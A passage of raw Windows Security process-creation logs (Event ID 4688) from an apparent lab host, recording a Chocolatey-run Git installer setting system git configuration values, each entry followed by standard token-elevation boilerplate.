Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246120
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x824
	New Process Name:	C:\Program Files\Git\mingw64\bin\git.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe2c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	.\mingw64\bin\git.exe  config --system "http.sslBackend" "openssl" 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246119
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeb8
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe2c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246118
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe2c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd80
	Creator Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp
	Process Command Line:	"C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "http.sslBackend" "openssl" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246117
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x86c
	New Process Name:	C:\Program Files\Git\mingw64\bin\git.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5b0
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	.\mingw64\bin\git.exe  config --system "filter.lfs.required" "true" 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246116
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x55c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5b0
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246115
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5b0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd80
	Creator Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp
	Process Command Line:	"C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "filter.lfs.required" "true" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246114
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5f0
	New Process Name:	C:\Program Files\Git\mingw64\bin\git.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x46c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	.\mingw64\bin\git.exe  config --system "filter.lfs.process" "git-lfs filter-process" 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246113
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x468
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x46c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246112
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x46c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd80
	Creator Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp
	Process Command Line:	"C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "filter.lfs.process" "git-lfs filter-process" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246111
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x43c
	New Process Name:	C:\Program Files\Git\mingw64\bin\git.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe38
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	.\mingw64\bin\git.exe  config --system "filter.lfs.smudge" "git-lfs smudge -- %f" 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246110
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf5c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe38
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246109
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe38
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd80
	Creator Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp
	Process Command Line:	"C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "filter.lfs.smudge" "git-lfs smudge -- %f" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246108
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3fc
	New Process Name:	C:\Program Files\Git\mingw64\bin\git.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdf0
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	.\mingw64\bin\git.exe  config --system "filter.lfs.clean" "git-lfs clean -- %f" 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246107
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdb4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdf0
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246106
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdf0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd80
	Creator Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp
	Process Command Line:	"C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "filter.lfs.clean" "git-lfs clean -- %f" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246105
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x30c
	New Process Name:	C:\Program Files\Git\mingw64\bin\git.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x2e0
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	.\mingw64\bin\git.exe  config --system "diff.astextplain.textconv" "astextplain" 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246104
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe5c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x2e0
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246103
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2e0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd80
	Creator Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp
	Process Command Line:	"C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "diff.astextplain.textconv" "astextplain" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246190
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfdc
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb20
	Creator Process Name:	C:\Windows\System32\shutdown.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246189
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
